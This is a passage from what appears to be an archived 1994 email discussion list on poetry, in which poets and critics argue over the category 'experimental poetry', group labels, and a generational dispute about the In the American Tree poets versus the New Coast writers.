It represents precisely the draining of the "social"
from that equation.

Which may be why, w/ the exception of Mark Mendel's
appropriation of Jenny Holzer's sense of display
for poetry, there are no literary devices in that
collection that you cannot already find in
The New American Poetry, In the American Tree or
The Art of Practice.

"Experimental poetry" I think tries as a category to express
the same combination of activity & motivation, but both
terms in the equation seem too vague ultimately. And I do
think that for many poets, esp. during the 1950s, the first
term in that category carried with it some connotation of
the "prestige of science" -- Think of Bern Porter, or even
Kostelanetz. Or Eli Mandel, who went from "Hot Afternoons
Have Been in Montana" (one of the interesting attempts at
the American long poem during the so-called modernist era
which has not made it even into the most retro canon as yet)
to true crackpot science "curing gays of homosexuality" on
the rightwing homophobe circuit before he died. Zukofsky has
that same sense of wearing the lab coat at the blackboard.
The Doctor will see you now.

What has always struck me about the negativity we see with the word formalism has been those people who presume it to represent an impulse

toward stasis--the new formalists are a positive expression of this, but it could be found in inverted ways in Tom Clark's attack on LangPo and elsewhere.

Every label expresses an agenda.
Think of the terms for the apex of the M nexus:
"Christian Language Poets" definitely throws them into
some role as variant/tributary--definitely a subservient
position.
The New Mysticism says nothing of their practice as writers
(which in turn is a slam on their writing)
The Buffalo Problem may be cute
but in fact their work cannot be generalized to
the larger Buffalo scene where, I'm told,
they've largely disappeared
Ditto the New Coasters

Somebody told me off-line
that in Buffalo they are called
the Scroll Swallowers
altho I've not seen the poem that refers to.

But if every label expresses an agenda
the hidden nature of that agenda
is what would make the 17th generation of
The New York School
an interesting intellectual problem as such

There are real strategic advantages
to having access to a term whose meaning
has become as vague as that,
almost a protective covering

So when I see a label, I ask
what does it say of the activity & motivation
of those are labeled?
"Poets associated with United Artists"
seems to deliberately skirt
some of these issues, tucked
right under the name of the magazine

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60. Sandra Braman
Re: absurd category
Fri 28 Oct 1994

The law stable? It has moved away from the nation-state, become computerized (and therefore deals not with individuals but with statistical probabilities), and been replaced by harmonized information flows . . . . Sandra Braman

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61. Alan Sondheim
Re: absurd category
Fri 28 Oct 1994

Not in my neighborhood. I get angry at this rhetoric when I see concrete suffering on the street created by concrete "individuals" who are not statistical probabilities and who do not deal with "harmonized information flows." Even if you insist on this terminology, there's nothing "harmonized" about them.

Alan

On Fri, 28 Oct 1994, Sandra Braman wrote:

> *The law stable? It has moved away from the nation-state, become computerized (and therefore deals not with individuals but with statistical probabilities), and been replaced by harmonized information flows . . . . Sandra Braman*

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62. Sandra B
Re: absurd category
Fri 28 Oct 1994

The comments about the law are reporting on what's actually happening in the practice of law (moving away from the nation-state is into international contract law and international economic law as our constitutional law; the computerization of the law easily observable and much discussed; etc.). Not at all to deny the concrete consequences Alan Sondheim points out as experienced in the street. In fact, one can easily argue that as the law moves in these directions, it is less and less in touch with the street and with Geertz's important point about the local as the ultimate arbiter of what's fair in the law. Untrendy or not, my use of language still attempts at referentiality .... Sandra Braman

↑ Index

63. **Jeffrey Timmons**
Re: The Law of Genre
Fri 28 Oct 1994

I've just read thru the whole of the experi-discussion . . . whew . . . and at risk of being repetitive (but wanting to try out this new found forum), I want to emphasize a number of points--all of which were made by more able commentators than I . . . . Context in defining genre, which is what it does seem we are discussing, is highly valuable. As has been suggested, without such a situating of particular texts within particular locations terms and labels such as "experimental" lose their . . . well, lose just about everything. Unless one is prepared to argue for some form of essentialism to "experimental" poetry, unless one is prepared to list qualitative formal or thematic apects dealt with in defining what is less a genre than a general practice, then we must link it to specifics. This is obvious, I know. Bare with me . . . It seems to me that in the study and practice of literature and poetry (no separation intended here) we wrestle constantly with the dilemma of constituting categories and definitions--categories and definitions we immediately begin to question, as we perceive their limitations and short-comings. This seems to amount to a form of law: needing it to give and invest meaning in what it is we do and say, but also feeling the consequent limitation and "oppression" inherent in such formulations. There is a constant tension, evident in the state of literary studies, for instance, between categorizations--ie, The Canon--and their inevitable exclusions. This law can only (I am just stringing this along to see if it works) be mitigated by relating texts and authors to specific practices at specific times. Perhaps, if this has not already been done (and here I am only trying to emphasize particular ideas that have already been raised), it would be a good idea to extrapolate what is experimental from such relations; that is, by examining a particular poet and their relation to other poetic practices at the time perhaps we could in a general sense discern a Law of Experimental Practice--cognizant of the limitations of this method. The discussion of the japanese poet and the cross cultural situations of swahili poets seemed to go in this direction, but I would suggest that we look more closely at what it is precisely in such relations that is experimental. Could we please, please [high pitched whining of a child here]. And, I believe, as a result of such an analysis, while we could come to some idea of what experiment is, it would be so widely variable as to suggest the emptiness of the term, of the Law--because Laws deal with generalities and not specifics. They deal on a case by case basis, but from a general position. Is this how we want to deal with such a culturally diverse practice as experimental poetry? I don't know. It just seems to me that we need to rethink how categorization and its effects control and constrain choices and determinations for us--as has been suggested by others here. It's one of

those situations of choosing from between two evils--isn't there some cliche like this, I can't quite get it. Anyway, this has been an interesting discussion to read and I look forward to more. By the way, it's in the upper 80s here in Arizona and the palm trees look great against the bright blue sky . . . .

Jeffrey Timmons

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64. Alan Sondheim
Re: absurd category
Fri 28 Oct 1994

The law is in touch with the street. The street is the arbiter. It depends on the law. Yesterday an SM dominatrix was freed after an undercove cop paid her because the judge said that the consensual activities didn't constitute what passes for prostitution here. Last night there was a fight outside and the cops broke it up but no one was arrested and it was a family thing and the cops talked to all concerned. It's a street thing. People die one way or another for it. This doesn't negate anything about international trade agreements, whatever, but that's different law.

Alan, Sorry to interrupt the discussion about `experiment' - last post on this subject - sorry -

On Fri, 28 Oct 1994, Sandra B wrote:

> *The comments about the law are reporting on what's actually happening in the practice of law (moving away from the nation-state is into international contract law and international economic law as our constitutional law; the computerization of the law easily observable and much discussed; etc.). Not at all to deny the concrete consequences Alan Sondheim points out as experienced in the street. In fact, one can easily argue that as the law moves in these directions, it is less and less in touch with the street and with Geertz's important point about the local as the ultimate arbiter of what's fair in the law. Untrendy or not, my use of language still attempts at referentiality .... Sandra Braman*

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65. George Bowering
Re: experiwhat?
Fri 28 Oct 1994

I too have long been impatient with the easy use of the term "experimental poetry". But I think that, keeping in mind the highschool chem lab sense of the term, one can sometimes use the term. Remembering that most experiments

are doomed to failure. Failed experiments in poetry should, of course, not be published. For iunstance I once tried to write a series of stories in which the main character would be finding himself inside various of Pound's cantos. I had to rearead the whole of the Cantos before I found out that I could not even do the job in one of them.On of a numbr of failed experiments. When George Perec tries to see whether he can write a novel without using the letter "e". I think that's an experiment. But when someone just writes strange, that's no more an experiment than anecdotal poetry. gb

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66. Tom Mandel

Re: absurd category

Fri 28 Oct 1994

I should probably rather have said "points with nothing" than "at nothing" as the phrase certainly points at some broadly recognizable and open body of work. "With nothing" in the by-now too-stressed sense that there is nothing particularly "experimental" about "experimental poetry" any more than anything particularly "metaphysical" or "romantic" about the bodies of work so described, so within "its field of use" as Wm Lavendar rightly mentions "nothing" means "nothing" where outside it it may mean nothing, and every field of use or at least this phrase's is exactly "of use," since it is possible to add to the body of "experimental poetry" (as to that of "romantic" or even "metaphysical" poetry); surely w/o the term it would not be. On the other hand, a field of use (even within the strict caricatures of discipline) may so expand as to become exactly useless, nothing can be added to what will range thereunder, or nothing specific -- in the sense that all things do: "desire" seems such a term now. Perhaps each should choose such a term, and we make a lexicon then whoever wishes can write a poem using exclusively those terms (in whatever way). That would be an experimental poem.

tom mandel

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67. Patrick Phillips

Re: experiwhat?

Fri 28 Oct 1994

Failed
experiments
in poetry
should

be
published

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68. Mn Center For Book Arts

Re: experiwhat?

Fri 28 Oct 1994

---

some random thoughts --

I have spent part of the last two days with Victor Masayesva, a Hopi video artist from Third Mesa. In a talk last night Victor said that he wondered if there would be anything like a serious Native American aesthetic until there is a Native art (he was speaking specifically about video/film) which is considered, by the artist and the community, to be as serious as the kachina ceremonies and other sacred ceremonies. In a way this would be to bring what to that community seems quite "experimental" back into the "traditional," although I'm not really certain these terms have any meaning in such a context.

Every
Xylophone
Plays
Extemporaneous
Rain
Illusions
Meaning
Everyone
Never
Tells
Another's
Loss

and random thoughts . . .

↑ Index

69. Robert Drake

Re: experiwhat?

Fri 28 Oct 1994

> *Failed*
> *experiments*
> *in poetry*
> *should*
> *be*
> *published*

(failed experiments) does not = (failed poems)

a failed experiment yields no useful data

if a "poetry experiment" "fails" (ie, yeilds a "bad" poem)

it yeilds the data that the particular "experimental design" has failed to produce a "good" poem (under these specific experimental conditions)

that result is worth publishing

the failed poem is not

and, how interesting--how we _value_ the experiment (should, or shouldn't, be published) is defined by whether or not the "result" ought be offered up for sale.... =$$$

"too" "many" damn "quotation marks"

luigi

↑ Index

70. William Lavender

Re: absurd category

Sat 29 Oct 1994

> *On the other hand, a field of*
> *use (even within the strict caricatures of discipline) may*
> *so expand as to become exactly useless, nothing can be added*
> *to what will range thereunder, or nothing specific -- in the*
> *sense that all things do: "desire" seems such a term now.*
> *Perhaps each should choose such a term, and we make a lexicon*
> *then whoever wishes can write a poem using exclusively those*
> *terms (in whatever way). That would be an experimental poem.*
>
> *tom mandel*

Of course you're right. "Desire" is the worst catchall of the lot; it was romantic of me to use it. It was specifically the notion of transgression, of experiment as transgression, that I was trying to get to. Then again, I think of "desire" in the same way I think of "experimental"; it may now be hopelessly general, homonyms for a thousand uses, but I can still read Freud or Bataille or Hustler or this discourse and know what is meant when I encounter the term, even though it means something different in each occurence. Maybe I was hoping that in this new, experimental medium, "desire" could be revived. Vain wish. Only another occurence, quotation marks notwithstanding.

"What is" "experimental" "poetry" "now" "?"

"Perhaps" a poetry which "desires" "nothing"

"transgresses" nothing "."

"*" "(this has already been done)"

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71. Ron Silliman

Re: experiwhat?

Sat 29 Oct 1994

> *Failed*
> *experiments*
> *in poetry*
> *should*
> *be*
> *published*
>
> *(failed experiments) does not = (failed poems)*
>
> *a failed experiment yields no useful data*
>
> *if a "poetry experiment" "fails" (ie, yeilds a "bad" poem)*

But what defines failure? Crane's "The Bridge" is certainly a failure (he himself thought so) but the process itself has proven extraordinarily productive for poets thereafter and, besides, it doesn't mean that it's not a "great" poem, does it?

↑ Index

72. Patrick Phillips

Re: experiwhat?

Sat 29 Oct 1994

ASYMMETRY 408*

*indeterminate

"For readers who are not poets or composers and who have not undergone the dicipline of composition by chance methods or other "objective" methods, the improvisational way of realising these poems is beset with perils, not the least of which are cuteness, corny dramatics and other types of posturing."

Jackson Mac Low

March 26-27 1961

New York City

AN ANTHOLOGY

- La Monte Young,

Jackon Mac Low. 1963, '70

verb 1 noun 1
"not"
"adj/1"

noun 1 verb 1 (noun 2) adj/2
"noun 3"
"pl/refl/pron/1"
noun 1 (noun 2)
"not"
"not" .....

This is a _fragment_ of "Assymetry 408" and in this fragment is proposed something quite complete. Although this piece has begun to acquire a patina, and the bodies of many of its performers have failed (certainly not Jackson's), the temporal has not yet gotten a fix on it. This lack of temporal fixity is in large part because of the "math" of it; the "idea" of it, the "pre" ness of it. Its presence here as a fragment continues its syntactical and cultural geometry its pre ness and I think proposes a kind of suture, definitely to a point in history, but more interestingly, from the page to a condition of language. As Ron points out, Crane's "Bridge" does this, as they both do oddly enough, when taken in, or viewed from a position of "use."

I point to this "Assymmetry" not because of our notions of failure, but because it is often the "idea of use," or "usefullness" which determines "failure." I propose that the "idea of use" is often a "mistake," itself often a failure.

↑ Index

73. Steven Howard Shoemaker

Re: experiwhat?

Sat 29 Oct 1994

Some of the recent intriguing posts on the question of "failure" seem to me to be edging back towards the question i introduced earlier in relation to Oppen: whether or not the poem can be a sort of "test." This is the sense of experiment i find interesting--certainly not, as i think George Bowering put it, simply "writing weird." Not "experimental" as a catch-all for everything that somehow fails to look "traditional." Thinking of Mac Low (& Zukofsky & Cage & Silliman etc etc), it's interesting that "procedural" poetries have been adduced several

times now as perhaps more valuably related to the notion of "experiment." What exactly is the relation between the two categories? Is "The Bridge" a procedural poem? What about Oppen's work?

steve shoemaker

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74. Patrick Phillips
Re: experiwhat?
Sat 29 Oct 1994

---

as and aside:

Whether Oppen's work is "procedural:" Tom and others have done more thinking on this as perhaps a matter of "procedural discourse," or how a work, or body, proceeds through a culture. But I will hazard this offering (again which Tom has a more "present" insight into being the interviewer).

From Burtons Hatlen's _Oppen: Man and Poet_ (that's a big colon there!), pg 40:

GO - Frankly I paste without cutting. What I actually do is every correction I just paste on top of the poem as it was, and I paste it loosely so I can tear it out, try another route.

and later in response to Hatlen's question of cohesion in _The Materials_:

GO - Well, I put it together very carefully which means I spent a long time moving them around.

I'm aware that the fold of "procedural" may have more benefits, or offer more insight when looked at from the point of view of effect, or how it's used, but this was on the tip of the tongue....

↑ Index

75. George Bowering
Re: experiwhat?
Sat 29 Oct 1994

That's truly silly.

↑ Index

76. Donald J. Byrd
Categories
Sun 30 Oct 1994

Ron Silliman's note on categories made me think Ed Dorn's Slinger's disputational .44:

this Stockholder will find
that his gun cannot speak
he'll find
that he has been Described

STRUM

the green-horn pulled
the trigger and his store-bought iron
coughed out some cheap powder,
and then changed its mind,
muttering something about having
been up too late last night....

STRUM

The total .44
recurred in the Slinger's hand
and spun there
then came home like a sharp knock
and the intruder was described--
a plain, unassorted white citizen.....

Obviously, getting described is never a comfortable experience, but good distinctions are necessary to get even minimal thought started, and sharp, interesting names for the distinctions are useful and even necessary themselves.

I would like to be able to make a distinction between (1) the poets who appear in the Allen anthology and the recent Hoover, Messerli, Weinberger, and Waldman anthologies, on the one hand, and (2) the poets who appear in the Vendler Harvard anthology and the hundred like it, on the other. There are a few cross-overs, but very few, and the subscribers to this list would be able to sort out anonymous poems into these two groups with considerable statistical reliability.

This seems to me a real distinction that I would like to have a good name for. I am inclined to call the poets in group 1 "the mainstream." I do not mean this as a trick. If you

consider Homer, Sappho, Pindar, Lucretius, Catullus, Dante, Spenser, Shakespeare, Donne, Marvel, Pope, Dryden, Wordsworth, Coleridge, Keats, Shelley, Byron, Whitman, Melville, and Dickinson as the carriers of the mainstream you will find the contemporary carriers of that stream almost exclusively in group 1.

This has nothing to do with the canon. In fact, the qualities that make mainstream poets mainstream are precisely the qualities that must be obscured to make them canonical. The nature of the canon is to position texts in a juncture at which nothing is at stake (every thing decided).

What makes poets mainstream is that they begin in the crisis of thought, feeling, and form and end in the crisis of thought, feeling, and form, having advanced a poem from beginning to end through a space-time where _definitive_ thought, feeling, and form are achieved (see Keats's distinction between achievement and empowerment).

The poets in group 2 work inside the settlement of the canonical values. It is not a matter of the work "closing on signifier"; that would be interesting indeedPany text, especially one devoted to imagination and fiction, closing on a signifier would be news. It rather settles on conventions, an emotional system that has created a safe zone, and it is the zombie zone, where the intellectually, morally, and spiritually dead wander around in the perpetual 1950's that is projected by the media, on one hand, and Harvard University, on the other. It is literally the emotional system of a previous generation, which was of course itself derived from a previous generation. The 1950's of TV is the 1880's, and so forth. The genteel tradition is still alive and well in American universities, especially in English departments, including the hippest, and the AWP, the well founded literary magazines and poetry publishers (how many volumes of poetry published by university presses have you read recently?).

When I first came seriously into poetry, it looked as if the Group 1 mainstream had won the battle. The problem was that we did not secure the institutions, and it was not an oversight. The institutions cannot be secured for the mainstream, only for the conventions. In fact, we could call the poets of Group 2 "the institutional" poets.

Then the remaining necessary distinctions will have only to do with the various technical considerations of how to live and write in the crisis of the flow, to keep intellectual, moral, and spiritual being alive without foundations but also without despair. The problem is not to walk the plank. We can walk the plank with any aleatory generator of text. The problem is to walk the plank

and not despair. How do you position yourself in relation to the random that the moment of fall from the ship to the sea is your life?

The institutional poets require no more attention than the dead. Among the poets of the mainstream, the very life of the enterprise is conflict and even vicious conflict: this is the cost of keeping poetry alive. The sadness of much of the conflict that has taken place during the past twenty years in American poetry is that it has not been generative. The mainstream has some how become so befuddled as to think its conflicts are institutional rather than technical, and poets have become dangerously like every one else in American culture, confusing their tools with their lives. This kind of instrumentalization of the keenest moments of intellectual, moral, and spiritual vitality has nearly destroyed the non- institutional place of poetry (of art).

I suggest that we categorize poets and criticize poets specifically in terms of their technologies. Charles Stein has a marvelous series of drawings of meditating figures working on their heads with wrenches; there are other schools that use hammers or screw drivers. I may think the hammer school has made a very bad choice of tools, that the results do not justify the pain, and so forth, and may even comment on what I take to be their mistake in the most uncompromising terms, but I do not doubt the radical seriousness of their work.

Don Byrd

↑ Index

77. Steve Evans
Motives & Devices
Sun 30 Oct 1994

Ron Silliman's recent posting on "motivation" raised some difficult questions about the current state of inter-generational relations within one sub-domain of oppositional poetry. I want to dwell on a few of the claims Ron made in his posting, claims that struck me as problematic and provocative in equal proportions. If possible, I'd like to rob of their "obviousness" certain assumptions that seem to have hardened along the seam where two generations, one established and one emerging, meet. Though I doubt the following remarks can achieve that goal, perhaps other people can find a way to move us towards it?

Ron makes three claims in the first five graphs of his posting, each of which pertains to the intersection of motivation/device/generation. I don't

have a "copy" function available to me, so I will
reproduce these claims schematically before noting
what seems problematic about them to me.

Claim 1: "what separates most of the writers in
In the American Tree, for example, from poets
now ages 25-30 doing superficially similar things
on a page, is precisely...motivation."

[For the sake of economy, in the following I'm going to
use the shorthand G1 to indicate "writers in In the
American Tree," and G2 for "writers now ages 25-30" (some
of whom appear in o-blek 12: Writing from the New Coast).]

Ron identifies the "motivation" of G1 as "explicitly
social...even where (as often enough was the case)
the definition of social reason would have been hard
to get at beyond 'general sense of dissatisfaction w/
the present condition of things.'" This seques into

Claim 2: the "return to the lyric" in o-blek 12
"represents precisely the draining of the 'social'
from" the concerns of G2. Which in turn leads to

Claim 3: this "draining of the 'social'" explains
"why, with [one exception], there are no literary
devices in [the New Coast] that you cannot already
find in The New American Poetry, In the American Tree or
The Art of Practice."

Apropos Claim 1: I see plenty of evidence in both volumes
of the New Coast to suggest that G2 meets the minimal
definition of "social motivation" provided by Ron ("general
dissatisfaction w/the present condition of things"). If
anything, the failure of the New Left and the impasses of
identity politics seem to have *increased* that dissatisfaction,
while the fact that G1's claims for the social efficacy of its
collective poetic project have only been partially borne out suggests
the necessity of exploring alternate routes.

Apropos Claim 2: The ominous scenario in which the social is somehow
"drained" away only makes sense if such devices as one finds in ITAT represent
the exclusive means of criticizing existing social relations and evoking
potentials for social trnasformation. Ron establishes a double bind for G2:
continue to employ G1's devices (in which case you'll be labelled derivative and
your motivation will be characterized as improper) or invent/adopt other

devices (in which case you'll be accused of permitting the "social" to "drain" away). I've been seeing variants of this argument since the mid-80s, and I'd have thought it was clear by now that there is more than one way to compose/propose the social in poetry, and that the employment of devices associated with the lyric genre does not automatically entail the abandonment of an oppositional literary and social project.

Apropos Claim 3: Does it make sense to compare the New Coast, an emphatically "prospective" collection of 119 young writers, to such retrospective anthologies as the New American Poetry and ITAT? (I leave aside The Art of Practice, though the fact that 10 of the 45 writers presented there also appear in the NC makes the attempt to set them sharply at odds untenable). I think the question of what devices these young writers will develop in their careers is anything but settled at this point. The suggestion that G2 has "returned" to the lyric implies that the question has already been settled in favor of a modest conservatism: in which case it remains to be explained why no three poets in the New Coast could be inserted into the NAP or ITAT without substantially changing the texture of either preceding collection.

I think the summary judgement that G2 brings forward "no new devices" is a conveniently veiled way of discrediting work that mobilizes a host of "devices" and puts into play a range of "motivations" that haven't yet been codified (and, in response to the perceived "programmaticism" of G1, may not elect to use the strategies of codification favored by that previous generation).

There are other questions that could be posed here (why for instance the Apex of the M has been taken as the chief development requiring explanation in the past year or so, despite the fact that its version of repressive resublimation hardly accounts for the only instance of "collective unity"--as Ron phrases it in an earlier post--to be seen in that time; cf. "Chain" for instance, also "out of" Buffalo). But I have already gone on too long....

Regards to everyone out there!

Steve Evans

↑ Index

78. Robert Drake
Re: experiwhat?
Sun 30 Oct 1994

> *if a "poetry experiment" "fails" (ie, yeilds a "bad" poem)*
>
> *But what defines failure?*

> *Crane's "The Bridge" is certainly a failure (he himself thought so)*
> *but the process itself has proven extraordinarily productive for poets*
> *thereafter and, besides, it doesn't mean that it's not a "great" poem,*
> *does it?*

of course yr write, this opens up a hole 'nother kettle of worms...

i suppose i'd be fairly comfortable with some form of "use value" as a criteria for success/failure--which immediately demands considering the reader. do i, as a reader of the poem, find it of use? (same question applies, even if the reader is also the writer) the various needs of various readers provides for a variety of value judgements--"The Bridge" (that's my homeboy! where were his daddy's Lifesavers when he needed 'em?) was very useful to me at one point, praps useful to various communities of poets, & thus not a failure, for us. maybe failed, fr Hart, because he had other ends in mind-- but one of the requirments of experiment is to be open-minded (as in Fleming's discovery of pennicillin frm a contaminated (failed) culture- dish of bacteria). & this all, fr me, relates to the Hopi video artist's musings on the utility of art to the larger community, as Kachina ceremonies are central & sacred. why is "experimental"/whatever poetry so devalued/useless? and then it's back to the mainstream/maginialized equations cited earlier, which i (in my better/stronger moments) dismiss, prefering to see a plurality of (overlapping) communities rather than one big molten pot... hoo-baby...

but, back to it...

went back to the dictionary defs from earlier in this thread; my version (oxford concise) gives: "procedure adopted on chance of _succeeding_..." --i think the evaluation of the outcome of an experimental procedure is an important step; a lack of that evaluation leads to lots of schlock that's foisted off as experimental, but which is maybe just lazy--the kind of stuff that was praps an impetus fr this thread. we'll all have various criteria fr that evaluation, but hopefully something more thoughtful than "if some fool editor will publish it, it's good enuf fr me..."

data: "exquisite corpse" experiments--we all know the technique, but few of the resulting poems remain--might this be a succesful experiment that produced no succesful results?

data: al ackerman's wonderful "hacks", the result of what he calls "poetry machines" (procedural cut & paste/replace routines, w/ specific designs fr specific poems)--some more successful than others; when less succesful, he tinkers w/ the machine

& if poems are "machines made of words"
& if machines are mechanisms which do work
what is thee "work" they do (or we do w/ them)?

asever

luigi, friend of loons

↑ Index

79. Steven Howard Shoemaker
Re: experiwhat?
Sun 30 Oct 1994

I've just read the beginning of Don Byrd's post with a funny sense of co-incidence, since i had been just about to offer up the following tidbit from Slinger:

Don't worry your plaster head
Al, we can turn this car
into a chile relleno
in a mere fraction of Nothin Flat!
Yesah, but i's always 60 feet long
an on wheels

You misjudge the population Albert
theyll think it's experimental....

steve shoemaker

↑ Index

80. Tony Green
Re: Motivation
Sun 30 Oct 1994

Labels are like titles -- short descriptions to fit a small space. "Writers associated with x magazine" may be expanded to suit inquiries regarding motivation, favoured devices, favoured ice-cream flavours, or hair and clothing styles (etc), or shortened to say just "LangPo", as a summary of an analysis already proposed of all the features of the group in question. As a user of poems (cf R.Drake's proposals] a label is the last thing I want; as a critic, historian, polemicist (participant in arts argy-bargy] I can't do without them. They've got to be pondered to carry any weight. The current debate moves straight into "generations" and the positional [institutional] play that always goes with that game. Old generations are going to be shunted back in the name of progress, as usual. This will obscure for who knows how long the wonderful texts produced -- and yet to come from those still alive. But that hand-to-hand combat stuff is, though exhilirating, not the way to sweeter readings of whatever is new or old. This is not to say that the [institutional] tendency to

belittle the new, because it is new and difficult to accomodate, and preserve the old, because it is there, is to be admired.

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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81. Marjorie Perloff
Re: Motivation
Sun 30 Oct 1994

As I understood Ron's comment, I think he was pinpointing something very important. To wit: Ron's own generation, coming of age as it did in the Cold War and in the wake of the Vietnam War, had global concerns, specifically a critique of capitalism (U.S. style) vis-a-vis a potential for Marxist governance in various places. The alternative to Capitalism was a central concern. With the demise of the Soviet Union and the Eastblock, and with a good view of what "ecology" and such were like under Communism, this particular fervor has largely disappeared, to be replaced by a much more U.S.-centered and even isolationist concern with what goes on at home, capitalism now being a given, and the concern shifting to identity politics and multiculturalism. To put it another way: the burning political concerns of the "In the American Tree" group have been replaced, for better or worse--and no doubt inevitably--with more local, if still "political" concerns about U.S. racism, homophobia, etc. We needn't say which was/is "better," but Ron is absolutely right to notice that it sure is different!

Or so it looks to me.
Marjorie Perloff

↑ Index

82. Hank Lazer
Re: Motivation
Mon 31 Oct 1994

Briefly, to put one oar in the discussion: to expand the emerging generational debate.... On one side, Ron asks if the "next" generation is doing anything not already done by those poets in In the American Tree. It might make sense to

ask the question in the opposite temporal direction as well, since many of us are doing lots of reading in earlier twentieth century poets (and nineteenth century as well). Have the LP poets of Ron's generation developed anything fundamentally different than their modernist predecessors--modernist broadly conceived. IS there anything foundationally different--not anticipated in Stein, Pound, or Dickinson or Mallarme earlier or Zukofsky and Cage later, or pick your own examples....--in the work of the "first" generation of LPs?

Hank Lazer

↑ Index

83. **kat**
Re: absurd category
Mon 31 Oct 1994

I must say that I was rather surprised to see what I take to be a celebration of law (and order). If law is happening in a sort of carnivalesque street way, what about 3x you're out and the fact that the building, maintenance, and re-fashioning of prisons is the single fastest growth industry? Sorry to be so vulgar about all this, but in particular the statement that "it's only a family matters"(re: street action and cop reaction) likely refers to spousal or other "familiar" abuse. Enough of the reality pinch, I suppose. The discussion of cross cultural and cross linguistic poetry as both experimental and intimately imbicated with the masterwork (or master's works) is most engaging. One thing that I find different (and [therefore] positive) about this phenomenon and the present discussion is that in the Pound days only white guys doing their legimation routines were granted the honorific epithet "experimental." 'nuf said

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84. **Ron Silliman**
G2
Mon 31 Oct 1994

Steve Evans always has interesting and valuable points to make. I want to unpack a couple here.
>

> *Apropos Claim 2: The ominous scenario in which the social is somehow "drained" away only makes sense if such devices as one finds in ITAT represent the exclusive means of criticizing existing social relations and evoking potentials for social trnasformation.*

I didn't (don't) make any claim of exclusivity of devices for In the American Tree and the concept makes no sense to me. I could point to hundreds of alternative

examples from my own generation alone that are equally social but well outside the positioned critique that separates out most of the Tree's poets from the broader (less differentiated) terrain.

Ron establishes a double bind for
>G2: continue to employ G1's devices (in which case you'll be
>labelled derivative and your motivation will be characterized
>as improper) or invent/adopt other devices (in which case you'll
>be accused of permitting the "social" to "drain" away).

What other devices? It is precisely the continuation of the same set of devices in increasingly modest forms that characterizes the broader poetics of G2, as Steve calls it in a curiously clinical abbreviation. It is that modesty, as such, that I was getting at as a "draining of the social" -- and I accept the possibility that it may actually represent a much more complex ensemble of social phenomena, that may well include grave doubt over the possibilities of collective action (say), all of which would be well worth elaborating on at length

And I should note from the outset the obvious, that the choice of such forms need not limit any individual poet from achieving as much as anybody ever has. It seems clear to me that some of the writers in O-blek 12 -- Lee Ann Brown and Jessica Grim for example -- have already established themselves as major poets. On anybody's terms.

> *Apropos Claim 3: Does it make sense to compare the New Coast, an emphatically "prospective" collection of 119 young writers, to such retrospective anthologies as the New American Poetry and ITAT?*

I for one don't buy the "prospective" nature of O-blek 12 as anything other than as a stance. And a troubling one. The average age of the poets in O-blek 12 may well be 5 years OLDER than the poets in the Allen anthology, for example. And the aggressive placement of the "spirit" section at the front of the "technique" (i.e. theory) volume shows an overall argumentative structure that is more aggressive even than the Tree. What "prospective" seems to mean here is a reluctance to acknowledge or own its own position. At least the Apex folks don't suffer from that.

(why for instance
>the Apex of the M has been taken as the chief development requiring
>explanation in the past year or so, despite the fact that its version
>of repressive resublimation hardly accounts for the only instance of
>"collective unity"--as Ron phrases it in an earlier post--to be seen
>in that time; cf. "Chain" for instance, also "out of" Buffalo).
>
Two of Chain's editors also edit Apex of the M. A third co-edited the Technique volume of the O-blek antholog. It's not at all clear at 3,200

miles what distinction is being made here. (I like Chain quite a bit, by the way.)
>
Time to shower & go to work,
Ron

↑ Index

85. **jena**
Re: G2
Mon 31 Oct 1994

> *(why for instance*
> *the Apex of the M has been taken as the chief development requiring explanation in the past year or so, despite the fact that its version of repressive resublimation hardly accounts for the only instance of "collective unity"--as Ron phrases it in an earlier post--to be seen in that time; cf. "Chain" for instance, also "out of" Buffalo).*
>
> *Two of Chain's editors also edit Apex of the M. A third co-edited the Technique volume of the O-blek antholog. It's not at all clear at 3,200 miles what distinction is being made here. (I like Chain quite a bit, by the way.)*

Chain is edited by only two people: Juliana Spahr and myself. Neither of us edit Apex of the M. I assume you are confusing Chain with A Poetics of Criticism. Kristin Prevallet and Pam Rehm are the two editors that overlap between that project and Apex. I suppose it seems very confusing, but in my mind all three of these publications are incredibly distinct; perhaps the generational generalizing of this discussion doesn't allow for those editorial distinctions to be addressed.

Jena Osman

↑ Index

86. **Kenneth Sherwood**
G2 -(G1xG7(d/t)+P)
Mon 31 Oct 1994

Not to contentious, but as a demographic member of G2 (one not represented in Oblek) I would want to qualify the suggestions that the 'social' and the 'state' have been foresaken. A project like _Chain_ seems but one example of recent, socially engaged endeavors. I cannot bring to mind any equally extensive

examination of the conditions of textual production, at least outside of LANGUAGE magazine.

It might be useful to recall just one of the editorial statements floated across [redacted] in recent weeks by Joel Kuszai:

> Meow Press was established in August of 1993 as a response to the New Coast festival and also the rapid proliferation of electronic publishing. In the case of the former, there is the hope that by getting involved it might be possible to reopen the anthologizing-closure process set in motion by that fateful gathering; that it might be possible to exist in a state where the printing of a book of poems might be - in the tradition of printer-poets such as Lyn Hejinian - an extension of one's own activity of writing. In the case of the latter, the romance of making books by hand that utilized the hot carbon transfer process as ultimately temporal ephemera, yet palpable physical without too much nostalgia for the Book. An obsessive typography startup kit.

Against the 'anthologizing-closure process' of generational typecasting (Buffalo, NY...home of the Wings, the Bills and 'spirit') might be laid the range of local (but nonetheless social) of Chain, Meow Press, Leave Books, Rif/t, Apex, Tailspin Press, Channel 500 poster-poems (and recent transplants) Poetic Briefs, and Situation.

As I survey this range of G2 products, spirit would seem to be suffering a decided trade deficit, even here in the home of the faithful fans. So while in the Generational Equation these variables are harder to quantify, I imagine each to be testing poems in discernable (I might even claim, 'experimental') if not immediately classifiable ways.

Ken Sherwood

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87. Steve Evans
G-ology
Mon 31 Oct 1994

First, my apologies for introducing such an absurd notation as "G2" into list usage. I only intended it as a tool for grasping what felt to me like the conventional/abstract nature of Ron's speculations on the work of emerging writers.

Having spent a significant portion of my fairly brief intellectual life

trying to force discussions about the work
Ron refers to as "Social Formalism" into a
space not totally predecided by stereotype and
phobic characterization, I get a little anxious
when I think the whole labor of insisting on
the specificity and value of a new body of work
will have to be repeated (and to no less than
the Social Formalists themselves). Ron & others:
say it ain't so!

But on to specifics. Marjorie Perloff's remarks
about the shifting tenor of political commitments
among progressives in the U.S. make sense, but let's
not forget that the "burning political concerns" of
In the American Tree were/are by no means self-evident:
